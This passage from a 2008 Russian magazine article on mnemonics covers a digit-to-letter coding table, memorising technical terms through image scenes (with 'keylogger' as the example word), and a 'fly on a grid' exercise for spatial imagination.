Рация 43 Черт 4 Чаща 14 Ночь 24 Овечка 34 Ручка 44 Чучело 5 Победа 15 Наперсток 25 Вепрь 35 Репа 45 Чипсы 6 Шажок 16 Нос 26 Вишня 36 Ружье 46 Чашка 7 Сазан 17 Носок 27 Весть 37 Рысь 47 Часы 8 Маг 18 Немо 28 Вымя 38 Роса 48 Чемодан 9 Дятел 19 Нитки 29 ведро 39 Радио 49 50 Пила 60 Шило 70 Слон 80 Мыло 90 Дуло 51 Пена 61 Шина 71 Сани 81 Монета 91 Дыня

Page 89: VR-Online (December 2008)

52 Павлин 62 Швабра 72 Сова 82 Мавр 92 Диван 53 Пирог 63 Шар 73 Сыр 83 Мороженое 93 Дырокол 54 Печка 64 Ишачка 74 Сачок 84 Меч 94 Дача 55 Папа 65 Шапка 75 Сапог 85 Мопед 95 Дупло 56 Пушка 66 Шишка 76 Сушка 86 Мышь 96 Душ 57 Письмо 67 Шоссе 77 Сосиска 87 Мясо 97 Доска 58 Помидор 68 Шмель 78 Сом 88 Мама 98 Дым 59 Пудель 69 Шатер 79 Сито 89 Медведь 99 Дед

00 01 02 03 04 05 06 07 08 09 Лилия Луна Лев ЛОР Луч Лупа Лошадь Лиса Лимон Лодка Стоит отметить важную деталь:

0 1 2 3 4 5 6 7 8 9 Л Н В Р Ч П Ш С М Д

Остальные числа формируются по такому же принципу. Например, мопед = 85, т.к. буквы М и П – 8 и 5 соответственно. Или заменяются на парные (русский язык). Описанная техника называется ЦБК, Цифро-Буквенное Кодирование.

Термины Этот «тип данных» отличается не меньшей сложностью, чем числа. Все дело в том, что термины, равно как и числа, представляют собой абстрактные понятия, редко отражающие обыденную реальность. Иначе говоря, по звучанию термина сложно дать его определение без специфических знаний. Простейшими примерами являются синхрофазотрон и осциллятор (не в медицинском смысле). По заданным терминам сложно дать внятное их определение. Естественно, без знания темы. Запоминают их следующим образом. Слово, являющееся термином, делят на обрывки из букв, при «домысливании» которых образуются простейшие образы. Например, слово кейлогер. «Кейлогер» можно «оборвать» следующим образом: «кей» - «клей» и «логер» - «лагерь». Составляют небольшую «сценку» в голове из получившейся совокупности образов – лагерь залит клеем в рамках проекта детей, его населяющих, «Мы не играем со спичками». Получившаяся «сценка» образов несколько раз повторяется в голове причастно к термину – исходнику. Как результат – следующее произношение слова «кейлогер» будет ассоциироваться с детской игрой, придуманной тобой. Конечно, если ты – опытный трояно-писатель, то не будет. Далее, сценку надо совместить с изображением/реальным предметом. Получиться один монолитный образ, всегда вскакивающий в голове при одной мысли о предмете. Этот образ будет отличным напоминателем слова «кейлогер». Для запоминания последовательности терминов, да еще и безошибочно, есть другой алгоритм. Основывается он на «запоминании образов».

Page 90: VR-Online (December 2008)

Все просто: в момент формирования сцен нужно связывать последующие их компоненты последующие с предыдущими или расставлять в знакомое помещение. Никаких «замудрений» не потребуется.

Пространственное воображение Для развития такой сложной способности, как довольно точно пространственно представлять произвольную картинку, требуется не много – лишь планомерно «рисовать» в воображении различные предметы, объекты, графики функций, кому что интереснее… Для развития пространственного мышления есть специальный «тренажер» -«Муха». «Мухой» тренажер обозвали не спроста. В нем маленькая представительница семейства кривокрылых перемещается по «решетке», вверх – вниз и влево – вправо, за границы вылетать не может. В более совершенной версии, может еще летать взад – назад. Ниже представлен один из вариантов такой «мухи». Называется представленный тренажер «Муха – 3x3». 3x3, потому что муха может пролететь с начальной координаты А до Н, Д, то есть, на 3 шага. Размерность мухи определяется ее максимальным количеством ходов, перпендикулярных осям, сделанных с нулевой координаты. «Муха» 3x3. Не 4x4, т.к. размерность определяется количеством максимальных ходов. Упражнения с данным тренажером происходят следующим образом. Один человек диктует другому ходы мухи. Например, говорит «вверх», а тренируемый выполняет в голове данную операцию – перемещает муху вверх. После серии ходов тренируемый смотрит на изображение тренажера и показывает, где зверек семейства жужжащих сейчас находится. Можно тренироваться и в одиночку. Для этого нужно просто в голове перемещать муху, отрабатывая четкость представления. Понятно, что когда тебе станет легко справляться с мухой этой размерности, то нужно ее, размерность, просто увеличить. Увеличивается одинаково как с правой, так и с верхней сторон.

Page 91: VR-Online (December 2008)

Следующий шаг состоит в том, что к «мухе» добавляется еще одна размерность, получая эдакий кубик с сечениями. С этим добавлением у мухи появляются команды «взад» и «назад», что приравнивается к «назад» и «вперед» соответственно. Общаясь с этим тренажером по 30 минут 3-2 раза в неделю, через месяц можно значительно увеличить объем пространственной памяти…

Вместо заключения Вот мы с тобой и подошли к заключению. Хотелось бы верить, что тебя заинтересует мнемотехника, хоть и после такого куцего пересказа, как мой. Поверь, это очень интересный способ провести время с пользой. Или… полезный способ провести время с интересом, как угодно. Одно верно – мнемотехника лишь разовьет твои мозги и позволит тебе решать более сложные задачи, чем ты решает сейчас. Для насилия над мозгом достаточно приобрести любую книгу данной тематики…

Written by Чередниченко Сергей aka CLS E-mail: [email protected]